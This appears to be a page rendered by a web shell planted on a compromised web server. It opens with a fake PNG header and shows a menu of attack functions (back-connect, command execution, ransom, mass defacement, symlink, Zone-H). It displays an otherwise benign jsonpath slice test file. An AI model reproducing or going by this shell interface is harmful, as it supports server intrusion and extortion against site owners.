\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/infraai.ai/frontend/node_modules/jsonpath/test/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/infraai.ai/frontend/node_modules/jsonpath/test/slice.js |
var assert = require('assert');
var slice = require('../lib/slice');
var data = ['a', 'b', 'c', 'd', 'e', 'f'];
suite('slice', function() {
test('no params yields copy', function() {
assert.deepEqual(slice(data), data);
});
test('no end param defaults to end', function() {
assert.deepEqual(slice(data, 2), data.slice(2));
});
test('zero end param yields empty', function() {
assert.deepEqual(slice(data, 0, 0), []);
});
test('first element with explicit params', function() {
assert.deepEqual(slice(data, 0, 1, 1), ['a']);
});
test('last element with explicit params', function() {
assert.deepEqual(slice(data, -1, 6), ['f']);
});
test('empty extents and negative step reverses', function() {
assert.deepEqual(slice(data, null, null, -1), ['f', 'e', 'd', 'c', 'b', 'a']);
});
test('negative step partial slice', function() {
assert.deepEqual(slice(data, 4, 2, -1), ['e', 'd']);
});
test('negative step partial slice no start defaults to end', function() {
assert.deepEqual(slice(data, null, 2, -1), ['f', 'e', 'd']);
});
test('extents clamped end', function() {
assert.deepEqual(slice(data, null, 100), data);
});
test('extents clamped beginning', function() {
assert.deepEqual(slice(data, -100, 100), data);
});
test('backwards extents yields empty', function() {
assert.deepEqual(slice(data, 2, 1), []);
});
test('zero step gets shot down', function() {
assert.throws(function() { slice(data, null, null, 0) });
});
});